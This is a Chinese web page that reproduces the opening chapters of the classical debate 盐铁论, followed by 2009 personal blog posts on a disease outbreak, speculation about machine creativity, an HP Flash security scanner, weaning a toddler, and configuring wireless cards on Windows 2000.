惟始元六年,有诏书使丞相、御史与所举贤良、文学语。问民间所疾苦。
文学对曰:"窃闻治人之道,防淫佚之原,广道德之端,抑末利而开仁义,毋示以利
,然后教化可兴,而风俗可移也。今郡国有盐、铁、酒榷,均输,与民争利。散敦厚之朴,成贪鄙之化。是以百姓就本者寡,趋末者众。夫文繁则质衰,末盛则质亏。末修则民淫,本修则民悫。民悫则财用足,民侈则饥寒生。愿罢盐、铁、酒榷、均输,所以进本退末,广利农业,便也。"
大夫曰:"匈奴背叛不臣,数为寇暴于边鄙,备之则劳中国之士,不备则侵盗不止。先帝哀边人之久患,苦为虏所系获也,故修障塞。饬烽燧,屯戍以备之。边用度不足,故兴盐、铁,设酒榷,置均输,蕃货长财,以佐助边费。今议者欲罢之,内空府库之藏,外乏执备之用,使备塞乘城之士饥寒于边,将何以赡之?罢之,不便也。"
文学曰:"孔子曰:'有国有家者,不患贫而患不均,不患寡而患不安。'故天子不言多少,诸侯不言利害,大夫不言得丧。畜仁义以风之,广德行以怀之。是以近者亲附而远者悦服。故善克者不战,善战者不师,善师者不阵。修之于庙堂,而折冲还师。王者行仁政,无敌于天下,恶用费哉?"
大夫曰:"匈奴桀黠,擅恣入塞,犯厉中国,杀伐郡、县、朔方都尉,甚悖逆不轨
,宜诛讨之日久矣。陛下垂大惠,哀元元之未赡,不忍暴士大夫于原野;纵难被坚执锐,有北面复匈奴之志,又欲罢盐、铁、均输,扰边用,损武略,无忧边之心,于其义未便也。"
文学曰:"古者,贵以德而贱用兵。孔子曰:'远人不服,则修文德以来之。既来之,则安之。'今废道德而任兵革,兴师而伐之,屯戍而备之,暴兵露师,以支久长,转输粮食无已,使边境之士饥寒于外,百姓劳苦于内。立盐、铁,始张利官以给之,非长策也。故以罢之为便也。"
大夫曰:"古之立国家者,开本末之途,通有无之用,市朝以一其求,致士民,聚万货,农商工师各得所欲,交易而退。易曰:'通其变,使民不倦。'故工不出,则农用乏;商不出,则宝货绝。农用乏,则谷不殖;宝货绝,则财用匮。故盐、铁、均输,所以通委财而调缓急。罢之,不便也。"
文学曰:"夫导民以德则民归厚;示民以利,则民俗薄。俗薄则背义而趋利,趋利则百姓交于道而接于市。老子曰:'贫国若有余。'非多财也,嗜欲众而民躁也。是以王者崇本退末,以礼义防民欲
,实菽粟货财。市,商不通无用之物,工不作无用之器。故商所以通郁滞,工所以备器械,非治国之本务也。"
大夫曰:"管子云:'国有沃野之饶而民不足于食者,器械不备也。有山海之货而民不足于财者,商工不备也。'陇、蜀之丹漆旄羽,荆、扬之皮革骨象,江南之楠梓竹箭,燕、齐之鱼盐旃裘,兖、豫之漆丝��,养生送终之具也,待商而通,待工而成。故圣人作为舟楫之用,以通川谷,服牛驾马,以达陵陆;致远穷深,所以交庶物而便百姓。是以先帝建铁官以赡农用,开均输以足民财;盐、铁、均输,万民所戴仰而取给者,罢之,不便也。"
文学曰:"国有沃野之饶而民不足于食者,工商盛而本业荒也;有山海之货而民不足于财者,不务民用而淫巧众也。故川源不能实漏卮,山海不能赡溪壑。是以盘庚萃居,舜藏黄金,高帝禁商贾不得仕宦,所以遏贪鄙之俗,而醇至诚之风也。排困市井,防塞利门,而民犹为非也,况上之为利乎?传曰:'诸侯好利则大夫鄙,大夫鄙则士贪,士贪则庶人盗。'是开利孔为民罪梯也。"
大夫曰:"往者,郡国诸侯各以其方物贡输,往来烦杂,物多苦恶,或不偿其费。故郡国置输官以相给运
,而便远方之贡,故曰均输。开委府于京师,以笼货物。贱即买,贵则卖。是以县官不失实,商贾无所贸利,故曰平准。平准则民不失职,均输则民齐劳逸。故平准、均输,所以平万物而便百姓,非开利孔而为民罪梯者也。"
文学曰:"古者之赋税于民也,因其所工,不求所拙。农人纳其获,女工效其功。今释其所有,责其所无。百姓贱卖货物,以便上求。间者,郡国或令民作布絮,吏恣留难,与之为市。吏之所入,非独齐、阿之缣,蜀、汉之布也,亦民间之所为耳。行奸卖平,农民重苦,女工再税,未见输之均也。县官猥发,阖门擅市,则万物�收。万物�收,则物腾跃。腾跃,则商贾侔利。自市,则吏容奸。豪吏富商积货储物以待其急,轻贾奸吏收贱以取贵,未见准之平也。盖古之均输,所以齐劳逸而便贡输,非以为利而贾万物也。"

力耕第二

大夫曰:"王者塞天财,禁关市,执准守时,以轻重御民。丰年岁登,则储积以备乏绝;凶年恶岁,则行币物;流有余而调不足也。昔禹水汤旱,百姓匮乏,或相假以接衣食。禹以历山之金,汤以庄山之铜,铸币以赎其民,而天下称仁。往者财用不足,战士或不得禄,而山东被灾,齐、赵大饥,赖均输之畜,仓廪之积,战士以奉,饥民以赈。故均输之物,府库之财,非所以贾万民而专奉兵师之用,亦所以赈困乏而备水旱之灾也。"
文学曰:"古者,十一而税,泽梁以时入而无禁,黎民咸被南亩而不失其务。故三年耕而余一年之蓄,九年耕有三年之蓄。此禹、汤所以备水旱而安百姓也。草莱不辟,田畴不治,虽擅山海之财,通百末之利,犹不能赡也。是以古者尚力务本而种树繁,躬耕趣时而衣食足,虽累凶年而人不病也。故衣食者民之本,稼穑者民之务也。二者修,则国富而民安也。诗云:'百室盈止,妇子宁止'也。"
大夫曰:"贤圣治家非一宝,富国非一道。昔管仲以权谲霸,而纪氏以强本亡。使治家养生必于农,则舜不甄陶而伊尹不为庖。故善为国者,天下之下我高,天下之轻我重。以末易其本,以虚荡其实。今山泽之财,均输之藏,所以御轻重而役诸侯也。汝、汉之金,纤微之贡,所以诱外国而钓胡、羌之宝也。夫中国一端之缦,得匈奴累金之物,而损敌国之用。是以骡驴�驼,衔尾入塞,���马,尽为我畜,�貂狐貉,采旃文�,充于内府,而璧玉珊瑚琉璃,咸为国之宝。是则外国之物内流,而利不外泄也。异物内流则国用饶,利不外泄则民用给矣。诗曰:'百室盈止,妇子宁止。'"
文学曰:"古者,商通物而不豫,工致牢而不伪。故君子耕稼田鱼,其实一也。商则长诈,工则饰骂,内怀窥窬而心不怍,是以薄夫欺而敦夫薄。昔桀女乐充宫室,文绣衣裳,故伊尹高逝游薄,而女乐终废其国。今骡驴之用,不中牛马之功,�貂旃�,不益锦绨之实。美玉珊瑚出于昆山,珠玑犀象出于桂林,此距汉万有余里。计耕桑之功,资财之费,是一物而售百倍其价也,一揖而中万钟之粟也。夫上好珍怪,则淫服下流,贵远方之物,则货财外充。是以王者不珍无用以节其民,不爱奇货以富其国。故理民之道,在于节用尚本,分土井田而已。"
大夫曰:"自京师东西南北,历山川,经郡国,诸殷富大都,无非街衢五通,商贾之所凑,万物之所殖者。故圣人因天时,智者因地财,上士取诸人,中士劳其形。长沮、桀溺,无百金之积,跖�之徒,无猗顿之富,宛、周、齐、鲁,商遍天下。故乃商贾之富,或累万金,追利乘羡之所致也。富国何必用本农,足民何必井田也?"
文学曰:"洪水滔天,而有禹之绩,河水泛滥,而有宣房之功。商纣暴虐,而有孟津之谋,天下烦扰,而有乘羡之富。夫上古至治,民朴而贵本、安愉而寡求。当此之时,道路罕行,市朝生草。故耕不强者无以充虚,织不强者无以掩形。虽有凑会之要,陶、宛之术,无所施其巧。自古及今,不施而得报,不劳而有功者,未之有也。"

通有第三

大夫曰:"燕之涿、蓟,赵之邯郸,魏之温轵,韩之荥阳,齐之临淄,楚之宛、陈,郑之阳翟,三川之二周,富冠海内,皆为天下名都,非有助之耕其野而田其地者也,居五诸之冲,跨街衢之路也。故物丰者民衍,宅近市者家富。富在术数,不在劳身;利在势居,不在力耕也。
文学曰:"荆、扬南有桂林之饶,内有江、湖之利,左陵阳之金,右蜀、汉之材,伐木而树谷,燔莱而播粟,火耕而水耨,地广而饶财;然民�窳偷生,好衣甘食,虽白屋草庐,歌讴鼓琴,日给月单,朝歌暮戚。赵、中山带大河,纂四通神衢,当天下之蹊,商贾错于路,诸侯交于道;然民淫好末,侈靡而不务本,田畴不修,男女矜饰,家无斗筲,鸣琴在室。是以楚、赵之民,均贫而寡富。宋、卫、韩、梁,好本稼穑,编户齐民,无不家衍人给。故利在自惜,不在势居街衢;富在俭力趣时,不在岁司羽鸠也。"
大夫曰:"五行:东方木,而丹、章有金铜之山;南方火,而交趾有大海之川;西方金,而蜀、陇有名材之林;北方水,而幽都有积沙之地。此天地所以均有无而通万物也。今吴、越之竹,隋、唐之材,不可胜用,而曹、卫、梁、宋,采棺转尸;江、湖之鱼,莱、黄之鲐,不可胜食,而邹、鲁、周、韩,藜藿蔬食。天地之利无不赡,而山海之货无不富也;然百姓匮乏,财用不足,多寡不调,而天下财不散也。"
文学曰:"古者,采椽不�,茅茨不翦,衣布褐,饭土硎,铸金为�,埏埴为器,工不造奇巧,世不宝不可衣食之物,各安其居,乐其俗,甘其食,便其器。是以远方之物不交,而昆山之玉不至。今世俗坏而竞于淫靡,女极纤微,工极技巧,雕素朴而尚珍怪,钻山石而求金银,没深渊求珠玑,设机陷求犀象,张网罗求翡翠,求蛮、貉之物以眩中国,徙邛、�之货,致之东海,交万里之财,旷日费功,无益于用。是以褐夫匹妇,劳疲力屈,而衣食不足也。故王者禁溢利,节漏费。溢利禁则反本,漏费节则民用给。是以生无乏资,死无转尸也。"
大夫曰:"古者,宫室有度,舆服以庸;采椽茅茨,非先王之制也。君子节奢刺俭,俭则固。昔孙叔敖相楚,妻不衣帛,马不秣粟。孔子曰:'不可,大俭极下。'此蟋蟀所为作也。管子曰:'不饰宫室,则材木不可胜用,不充庖厨,则禽兽不损其寿。无末利,则本业无所出,无黼黻,则女工不施。'故工商梓匠,邦国之用,器械之备也。自古有之,非独于此。弦高贩牛于周,五�赁车入秦,公输子以规矩,欧冶以�铸。语曰:'百工居肆,以致其事。'农商交易,以利本末。山居泽处,蓬蒿尧�,财物流通,有以均之。是以多者不独衍,少者不独馑。若各居其处,食其食,则是橘柚不鬻,朐卤之盐不出,旃�不市,而吴、唐之材不用也。"
文学曰:"孟子云:'不违农时,谷不可胜食。蚕麻以时,布帛不可胜衣也。斧斤以时,材木不可胜用。田渔以时,鱼肉不可胜食。'若则饰宫室,增台榭,梓匠�巨为小,以圆为方,上成云气,下成山林,则材木不足用也。男子去本为末,雕文刻镂,以象禽兽,穷物究变,则谷不足食也。妇女饰微治细,以成文章,极伎尽巧,则丝布不足衣也。庖宰烹杀胎卵,煎炙齐和,穷极五味,则鱼肉不足食也。当今世,非患禽兽不损,材木不胜,患僭侈之无穷也;非患无旃�橘柚,患无狭庐糠糟也。"

错币第四

大夫曰:"交币通施,民事不及,物有所�也。计本量委,民有饥者,谷有所藏也。智者有百人之功,愚者有不更本之事。人君不调,民有相万之富也。此其所以或储百年之余,或不厌糟糠也。民大富,则不可以禄使也;大强,则不可以罚威也。非散聚均利者不齐。故人主积其食,守其用,制其有余,调其不足,禁溢羡,厄利涂,然后百姓可家给人足也。"
文学曰:"古者,贵德而贱利,重义而轻财。三王之时,迭盛迭衰。衰则扶之,倾则定之。是以夏忠、殷敬、周文,庠序之教,恭让之礼,粲然可得而观也。及其后,礼义弛崩,风俗灭息,故自食禄之君子,违于义而竞于财,大小相吞,泪转相倾。此所以或储百年之余,或无以充虚蔽形也。古之仕者不穑,田者不渔,抱关击柝,皆有常秩,不得兼利尽物。如此,则愚智同功,不相倾也。诗云:'彼有遗秉,此有滞穗,伊寡妇之利。'言不尽物也。"
大夫曰:"汤、文继衰,汉兴乘弊。一质一文,非苟易常也。俗弊更法,非务变古也,亦所以救失扶衰也。故教与俗改,弊与世易。夏后以玄贝,周人以紫石,后世或金钱刀布。物极而衰,终始之运也。故山泽无征,则君臣同利,刀币无禁,则奸贞并行。夫臣富则相侈,下专利则相倾也。"
文学曰:"古者,市朝而无刁币,各以其所有易所无,抱布贸丝而已。后世即有龟贝金钱,交施之也。币数变而民滋伪。夫救伪以质,防失以礼。汤、文继衰,革法易化,而殷、周道兴。汉初乘弊,而不改易,畜利变币,欲以反本,是犹以煎止燔,以火止沸也。上好礼则民�饰,上好货则下死利也。"
大夫曰:"文帝之时,纵民得铸钱、冶铁、煮盐。吴王擅鄣海泽,邓通专西山。山东奸猾,咸聚吴国,秦、雍、汉、蜀因邓氏。吴、邓钱布天下,故有铸钱之禁。禁御之法立,而奸伪息,奸伪息,则民不期于妄得,而各务其职;不反本何为?故统一,则民不二也;币由上,则下不疑也。"
文学曰:"往古,币众财通而民乐。其后,稍去旧币,更行白金龟龙,民多巧新币。币数易而民益疑。于是废天下诸钱,而专命水衡三官作。吏匠侵利,或不中式,故有薄厚轻重。农人不习,物模拟之,信故疑新,不知奸贞。商贾以美贸恶,以半易倍。买则失实,卖则失理,其疑或滋益甚。夫铸伪金钱以有法,而钱之善恶无增损于故。择钱则物稽滞,而用人尤被其苦。春秋曰:'算不及蛮、夷则不行。'故王者外不鄣海泽以便民用,内不禁刀币以通民施。"

禁耕第五

大夫曰:"家人有宝器,尚函匣而藏之,况人主之山海乎?夫权利之处,必在深山穷泽之中,非豪民不能通其利。异时,盐铁未笼,布衣有朐邴,人君有吴王,皆盐铁初议也。吴王专山泽之饶,薄赋其民,赈赡穷乏,以成私威。私威积而逆节之心作。夫不蚤绝其源而忧其末,若决吕梁,沛然,其所伤必多矣。太公曰:'一家害百家,百家害诸侯,诸侯害天下,王法禁之。'今放民于权利,罢盐铁以资暴强,遂其贪心,众邪群聚,私门成党,则强御日以不制,而�兼之徒奸形成也。"
文学曰:"民人藏于家,诸侯藏于国,天子藏于海内。故民人以垣墙为藏闭,天子以四海为匣匮。天子适诸侯,升自阼阶,诸侯纳管键,执策而听命,示莫为主也。是以王者不畜聚,下藏于民,远浮利,务民之义;义礼立,则民化上。若是,虽汤、武生存于世,无所容其虑。工商之事,欧冶之任,何奸之能成?三桓专鲁,六卿分晋,不以盐铁。故权利深者,不在山海,在朝廷;一家害百家,在萧墙,而不在朐邴也。"
大夫曰:"山海有禁,而民不倾;贵贱有平,而民不疑。县官设衡立准,人从所欲,虽使五尺童子适市,莫之能欺。今罢去之,则豪民擅其用而专其利。决市闾巷,高下在口吻,贵贱无常,端坐而民豪,是以养强抑弱而藏于跖也。强养弱抑,则齐民消;若众秽之盛而害五谷。一家害百家,不在朐邴,如何也?"
文学曰:"山海者,财用之宝路也。铁器者,农夫之死士也。死士用,则仇雠灭,仇雠灭,则田野辟,田野辟而五谷熟。宝路开,则百姓赡而民用给,民用给则国富。国富而教之以礼,则行道有让,而工商不相豫,人怀敦朴以相接,而莫相利。夫秦、楚、燕、齐,土力不同,刚柔异势,巨小之用,居句之宜,党殊俗易,各有所便。县官笼而一之,则铁器失其宜,而农民失其便。器用不便,则农夫罢于野而草莱不辟。草莱不辟,则民困乏。故盐冶之处,大傲皆依山川,近铁炭,其势咸远而作剧。郡中卒践更者,多不勘,责取庸代。县吧或以户口赋铁,而贱平其准。良家以道次发僦运盐、铁,烦费,百姓病苦之。愚窃见一官之伤千里,未睹其在朐邴也。"

复古第六

大夫曰:"故扇水都尉彭祖宁归,言:'盐、铁令品,令品甚明。卒徒衣食县官,作铸铁器,给用甚众,无妨于民。而吏或不良,禁令不行,故民烦苦之。'令意总一盐、铁,非独为利入也,将以建本抑末,离朋党,禁淫侈,绝�兼之路也。古者,名山大泽不以封,为下之专利也。山海之利,广泽之畜,天地之藏也,皆宜属少府;陛下不私,以属大司农,以佐助百姓。浮食奇民,好欲擅山海之货,以致富业,役利细民,故沮事议者众。铁器兵刃,天下之大用也,非众庶所宜事也。往者,豪强大家,得管山海之利,采铁石鼓铸,煮海为盐。一家聚众,或至千余人,大抵尽收放流人民也。远去乡里,弃坟墓,依倚大家,聚深山穷泽之中,成奸伪之业,遂朋党之权,其轻为非亦大矣!今者,广进贤之途,练择守尉,不待去盐、铁而安民也。"
文学曰:"扇水都尉所言,当时之权,一切之术也,不可以久行而传世,此非明王所以君国子民之道也。诗云:'哀哉为犹,匪先民是程,匪大犹是经,维迩言是听。'此诗人刺不通于王道,而善为权利者。孝武皇帝攘九夷,平百越,师旅数起,粮食不足。故立田官,置钱,入谷射官,救急赡不给。今陛下继大功之勤,养劳倦之民,此用麋鬻之时;公卿宜思所以安集百姓,致利除害,辅明主以仁义,修润洪业之道。明主即位以来,六年于兹,公卿无请减除不急之官,省罢机利之人。人权县太久,民良望于上。陛下宣圣德,昭明光,令郡国贤良、文学之士,乘传诣公车,议五帝、三王之道,六艺之风,册陈安危利害之分,指意粲然。今公卿辨议,未有所定,此所谓守小节而遗大体,抱小利而忘大利者也。"
大夫曰:"宇栋之内,燕雀不知天地之高;坎井之蛙,不知江海之大;穷夫否妇,不知国家之虑;负荷之商,不知猗顿之富。先帝计外国之利,料胡、越之兵,兵敌弱而易制,用力少而功大,故因势变以主四夷,地滨山海,以属长城,北略河外,开路匈奴之乡,功未卒。盖文王受命伐崇,作吧于丰;武王继之,载尸以行,破商擒纣,遂成王业。曹�弃三北之耻,而复侵地;管仲负当世之累,而立霸功。故志大者遗小,用权者离俗。有司思师望之计,遂先帝之业,志在绝胡、貉,擒单于,故未遑扣扃之义,而录拘儒之论。"
文学曰:"燕雀离巢宇而有鹰隼之忧,坎井之蛙离其居而有蛇鼠之患,况翱翔千仞而游四海乎?其祸必大矣!此李斯所以折翼,而赵高没渊也。闻文、武受命,伐不义以安诸侯大夫,未闻弊诸夏以役夷、狄也。昔秦常举天下之力以事胡、越,竭天下之财以奉其用,然众不能毕;而以百万之师,为一夫之任,此天下共闻也。且数战则民劳,久师则兵弊,此百姓所疾苦,而拘儒之所忧也。"
=============================================
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)
返回:诸子百家目录

2009年3月31日星期二

中国再次爆发手足口病

中国卫生部报道(卫生部网站至今仍然不兼容FF和Chrome等非IE浏览器),中国再次爆发手足口病。截至3月26日12时,全国30个省份(除西藏)共报告手足口病例41846例,重症病例94例;5岁及以下儿童占93.96%;截至3月26日24时,报告死亡病例18例。BBC报道,卫生部正在调查上报5名幼儿死亡的山东菏泽当局是否瞒报疫情,手足口病疫情在河南、山东最为严峻。

2009年3月29日星期日

如何让机器让有创造力,拥有真正的人工智能

小雨,天似暧还冷

机器有创造性吗?

无论是程序还是机械结构的机器,都在执行一个大的循环操作,在这个大的循环操作中,又有许多流线式的多个操作结构,就是河流的一段一段,或者公路上的车流,走过一段路,又走上另一段路。

机器都是按着既定的程序进行的,那么有没有可能,让机器拥有创造性呢?

人工智能发展了这么多年,表面看上去比较新奇的一些东西,实际还离真正的人工智能相去甚远。比如sony的那个机器狗,还是一些宠物似的机器人什么的,包括现在走入媒体报道的机器人大赛什么的,都是按照一些既定的程序操作的,并不是真正的人工智能。

如果让机器拥有真正的智慧呢?智慧的几个特征:创造力、联想能力、丰富的知识。还有其它方面呢?不管怎么说,我认为前二个方面对机器来说非常重要,也是阻碍人工智能的最大障碍。第三个方面,正是机器最擅长的地方。

那么,机器能够有创造力、联想能力吗?
今天有个想法,如果基于这个算法,会不会让机器拥有创造力?先从人的创造力说起。人在这方面的能力是怎么得来的。我觉的创造力也不神奇,在于人类会做梦,会遗忘和记忆,现在的事情有可能已经将来遗忘,只留一点儿印象,过去的事情,却可以记忆清晰,哪怕一点儿细节。过去和现在的事情杂揉在一起,就会产生神奇的力量。

人类拥有最大的幸福,就在于拥有时间,活在时间里。机器则没有时间的影响,或者受时间的影响很小。如果使用算法,将时间因素的影响,加到结论的最终判断上面,会怎么样呢?这样过去和现在的事物,就在于如何取舍哪处该遗忘,哪处该清晰地记忆了。关键是如何取舍!

人类的取舍规则是什么?是重要的事情记忆,简单重复的事情忽略,就象我们每天在眼睛里看到的,重大的事件,帅哥美女,在大街上随便见到的,也会记忆清晰。但在大街上时,那么多的像素,99%的其实是忽略掉的。能注意和记忆的,也只是与已有的知识有关的,比如审美,比如异常的变动(重大事件)。

如何判断,什么事物是简单的、重复的?什么事物是重要的?如果资料库足够丰富的话,会不会使用某种规则,可以建立起来这种规则。当然,现在的资料库还是太贫乏,需要更多的样本,视频、声音、更多的像素,当世界上最穷的地方,也能像英国伦郭那样,遍布摄像头的时候,我相信就有了足够的资料库,也有了清晰的判断规则。

有了这些规则,就有了可以使用的算法,也就有了让机器判断,在一件事情的判断上,哪些因素是重要的,该通过清晰的"记忆"影响当前判断,哪些因素是简单重复的,不重要的,该通过模糊的"记忆"减小影响因子,这样,就会产生有效的人工智能。
但这样一个规则下的人工智能,能达到多深的程度?
不管怎么说,只要让机器有了创造力,人类会不会进化到另一种境界,或者说,必须面对这个进化的压力,或者说,也必须面临选择?

还有个重要的问题。当前的程序问题。第一,如何有效的影响和控制物理上的机械,当然是通过电子电路。第二,现在的程序,如何完成自我演化,借助互联网的力量,进行自我进化。没错,就是要完成自我进化,和生命体一样,要不断地进化。搜集资料,建立样本,接触和反应,然后修改自身规则。恩,最后这一条"修改自身规则",既危险,又不可缺少。模仿生命体的进化,必须得不断修正修改,对外界的响应规则吧?如果不改变,也就不会进化。

这个响应规则,如果仅仅是参数上的修改,肯定不会起到作用。也不会仅仅只是true or
false的判断,必须是全方面的规则添加和删除以及更正,至少包含insert,delete和update三种方法。也许,程序体的进化,才会让机器最终拥有创造力。

恩,权当科幻吧。不过一切皆有可能,是不是?而且,用我这台很老的笔记本电脑,我也可以做一些有趣的东西。如果现在就放到互联网上,发布出去,几十年之后,这个程序体会不会成长为一个有趣的东东?

2009年3月26日星期四

flash安全扫描器

惠普的Web安全研究组推出了免费Flash安全工具SWFScan。研究人员反编译了所有版本的Flash,发现了超过60个安全漏洞。扫描器能从Flash程序中探测到如XSS(跨站脚本攻击),SQL注入,硬编译(hard-coded)认证证书,弱加密,不安全函数调用,跨域权限升级,和违反Adobe公司安全建议等各类问题。互联网上针对Flash的攻击正在扩大化,惠普称有35%以上的SWF应用程序违反了Adobe的安全建议。

此工具链接 http://www.hp.com/go/swfscan

善宝断奶

善宝断奶


善宝头天断奶,可是件天大的事,不知道他会如何辛苦,于是晚上我们爷俩洗了澡,干干净净地坐在床上看小人书。善宝一岁零三个月,早该断奶了,以前的原因是冬天怕生病,现在春暧花开,于是下定了决心断奶。

要给他断奶,其实早就沟通过了,他似懂非懂地点着头,恩恩地答应着,似乎只要对自己成长有利的事情,就万分合作。可能是希望自己快快长大,也能拥有平等对话的权利吧。从以往对他的观察看,其实对他说什么事情,他基本都能听的懂,当然有时也会装傻,比如把碗里的粥倒在桌子上,或者他正在玩的时候,让他跟别人打招呼,这时候基本两耳不闻窗外事,一副万分认真的样子,完全沉浸在自己的事情上。其实所有的事情,他都非常明白,有时只是揣着明白装糊涂。所以要提高警惕,万万不能被他讨人喜欢的可爱外表欺骗了。这次断奶前,反复给善宝做足了工作,就像开发商劝人拆迁似的,软硬兼施恩威并施。想想,拆迁那么难的事情,都能有人搞定。咱小善宝断奶这点儿小事,思想都做通了,还有何难?

于是,晚上我们沐浴更衣,准备小善宝这成长的一步。
善宝最近有些爱美,身上有一点儿脏的地方,或不完美的地方,都要指给大人看,要马上解决的样子。可能觉的最近在外面晒的有些黑了,路上的漂亮姐姐们不再围上来夸他可爱了,魅力有的减弱吧。有时自己拿出护肤品,找爸爸找妈妈帮他打开盖子。怕他浪费折腾了,就给他说,只能晚上才能打开盖子,白天打开的话,就会跑了,没了。呵呵,倒也不算欺骗,从某些方面说,确实是这样的,只不过用了些拖延战略。这一招是从春运售票学的。据说若干年(大于10年)了,铁路上一直要改革春运售票,出了多少办法,开了多少会,前一阵儿还组织了若干个专题组研究,却一直避重就轻,不能解决问题。最后发言人出来说,主要是现在铁路上没钱啊,大家再等等,到2012就好了,那时铁路快了,客运线也多了,大家就好买票了。打着各种名目向国家要钱,和中石油一样有才,其实建立个实名的电话售票系统或网上售票系统,很便宜的,甚至用领导们几顿饭钱就能办了。可惜的老百姓们,还不知道铁路上担了多大的任务,好像困难的要累跨似的。
小善宝还没有经历过春运售票,更未经历中国特色的诸干事物,远远不知将来长大要面临的战斗,所以,还没有这方面的警觉性,一不小心就中招了,转身先去玩着其它玩具,把护肤品的事,放到一边了。

和kevin(善宝)在床上玩了一会儿。不知何时,看到了自己身上的线球球。于是就扯了起来,还要爸爸打个下手。每次扯下来,就放到爸爸手里,嘴里乐开了花。玩一会儿,又折腾收音机,大小音量,调个台啥的。一会儿妈妈洗完澡过来,更变的兴奋了,脱了小棉裤,露出小屁股在床上转来转去,一会爬到床头那边倒立着斜躺下来,一会又爬过来,小脑袋压在妈妈的头上。眼看着时间过去,比平常晚睡了半个小时。
赶紧让妈妈到北屋去,老这样还怎么哄着睡觉呀?
我哼着小曲,都快把自己哄睡着了,善宝还是睁圆了眼睛,乐呵呵地跟我打游击呢。
妈妈刚走到门口,被善宝注意了,一下子就站起来,要扑上去,同时咧嘴大哭。
没办法,我和妈妈一人一边,妈妈唱着歌谣,我唱着胎教时的ABCD字母歌,他又胜利了,一会儿转头看看妈妈,一会儿双转过身子来,拍拍爸爸,似乎要哄着爸爸快点儿睡觉,不能这么不乖了。
我说,要不和些奶粉吧,老这样善宝也睡不着呀。他停了动作,似乎等着我去执行这个计划,看我没有动弹,还在陪他唱着歌谣,马上又咧开了大嘴,哇哇地哭起来。妈妈彻底败了,说,要不先喂着奶吧。
我搬了笔记本到书房,不到一分钟,善宝已经在妈妈的哺育下,香香地睡去了。夜静了,只有冰箱偶尔启动的声音。妈妈在善宝的哭声中,再一次失败,作了不由自己的退步。孩子,真让人心不由已啊

2009年3月25日星期三

断奶

善宝断奶


善宝头天断奶,可是件天大的事,不知道他会如何辛苦,于是晚上我们爷俩洗了澡,干干净净地坐在床上看小人书。善宝一岁零三个月,早该断奶了,以前的原因是冬天怕生病,现在春暧花开,于是下定了决心给他断奶。

要给他断奶,其实早就沟通过了,他似懂非懂地点着头,恩恩地答应着,似乎只要对自己成长有利的事情,就万分合作。从以往对他的观察看,其实说什么事情,他基本都能听的懂,当然有时有装傻,比如把碗里的粥倒在桌子上,或者他正在玩的时候,让他跟别人打招呼,这时候基本两耳不闻窗外事,一副万分认真的样子,完全沉浸在自己的事情上。其实所有的事情,他都非常明白,有时只是揣着明白装糊涂,万万不能被他讨人喜欢的可爱外表欺骗了。这次断奶前,反复给善宝做足了工作,就开发商劝人拆迁似的,几乎软硬兼施。想想,拆迁那么难的事情,都能有人搞定。咱小善宝断奶这点儿小事,思想都做通了,还有何难?

于是,晚上我们沐浴更衣,准备小善宝这成长的一步。
善宝最近有些爱美,身上有一点儿脏的地方,或不完美的地方,都要指给大人看,要马上解决的样子。可能觉的最近在外面晒的有些黑了,魅力有的减弱吧,有时还拿着护肤品,找爸爸找妈妈给他打开盖子。怕他折腾了,就给他说,只能晚上才能打开盖子,白天打开的话,就会跑了,没了。呵呵,倒也不算欺骗,从某些方面说,确实是这样的,只不过用了些拖延战略。这一招是从铁路销售上学的,不是说若干年(大于10年)了,铁路上一直要改革春运售票,出了多少办法,开了多少会,却一直避重就轻,最后发言人出来说,大家再等等,到2012就好了,那时铁路快了,客运线也多了,大家就好买票了。小善宝还没有经历过春运售票,远远不知将来长大要面临的战斗,所以,还没有这方面的警觉性,于是就中招了,转身先去玩着其它玩具,把护肤品的事,放到一边了。

和kevin(善宝)在床上玩了一会儿。不知何时,认上自己身上的线球球。扯了起来,还要爸爸打个下手,只要扯下来,就放到爸爸手里,嘴里乐开了花。玩一会儿,就折腾收音机,大小音量,调个台啥的。一会儿妈妈洗完澡过来,更变的兴奋了,脱了小棉裤,露出小屁股在床上转来转去,一会爬到床头那边倒立着斜躺下来,一会又爬过来,小脑袋压在妈妈的头上。眼看着时间过去,比平常晚睡了半个小时。
赶紧让妈妈到北屋去,老这样还怎么哄呀?
我哼着小曲,都快把自己哄睡着了,善宝还是睁圆了眼睛,乐呵呵地跟我打游击呢。
妈妈刚走到门口,被善宝注意了,一下子就站起来,要扑过来,同时嘴里咧开了大哭。
没办法,我和妈妈一人一边,妈妈唱着歌谣,我唱着胎教时的ABCD字母歌,他又胜利了,一会儿转头看看妈妈,一会儿双转过身子来,拍拍爸爸,似乎要哄着爸爸快点儿睡觉,不能这么不乖了。
我说要不活些奶粉吧,老这样也睡不着。他停了动作,似乎等着下文,看我没有动弹,还在陪他唱着歌谣,马上咧开了大嘴,哇哇地哭起来。妈妈彻底败了,说,要不先喂着奶吧。
我搬了笔记本到书房,不到一分钟,善宝已经在妈妈的哺育下,香香地睡去了。夜静了,只有冰箱偶尔启动的声音。妈妈在善宝的哭声中,再一次失败,作了不由自己的退步。孩子,真让人心不由已啊

关于windows2000下无线网络配置的补充

我的其中一块无线网卡,是从做物流的数据采集器上拆下来的,带着常常的天线,功率也大一些,加上那个好用的天线,可以使用上千米内的信号。驱动和配置工具,可以在这儿下载:
ftp://symstore.longisland.com/Symstore/files/S24MC392B67_01.exe另外还有个无线网卡,据说是lucent的金卡,支持128位加密,速度快传输稳定,名字为enterasys
roamabout DS,win2000本身也集成了驱动,但同样无法配置无线,所以还得从厂家下载驱动+网卡升级程序+配置工具,地址如下http://secure.enterasys.com/software/RoamAbout/CSIxD/win/RoamAbout-Client-WIN95-98-2000-ME-NT-XP-786-pkg.zip

补充一下,最后这块网卡,确实非常非常稳定,在多个ap测试后,几乎看不到信号的波动,下载速率基本保持恒定

2009年3月24日星期二

windows2000下配置无线网络

windows2000下配置无线网络

win2000下能配置无线网络吗?可以肯定地说,肯定可以。同时也可以肯定地说,无法使用系统自带的工具进行无线网络配置,我有四五种无线网卡,总结起来,有如下几种方法可以配置无线网络:

1、在"网络连接",属性,"配置"中,可以看到无线网卡本身的一些属性,如果这些属性中,有的驱动是直接有配置的界面,可以输入SSID,WEP等值的地方,

2,要是没有可以输入这些值的地方,就只能使用网卡自带的配置工具。这些配置工具,必须到原厂的网站下载。

windows 2000如果打了sp4,在系统服务中,会出现wireless
configuration服务,但这个东西其实并没有多少用处,无法提供ssid/wep的输入界面。我没有尝试windows提供的命令行网络配置,要是你使用这样的方法成功了,请给我发个邮件告知。

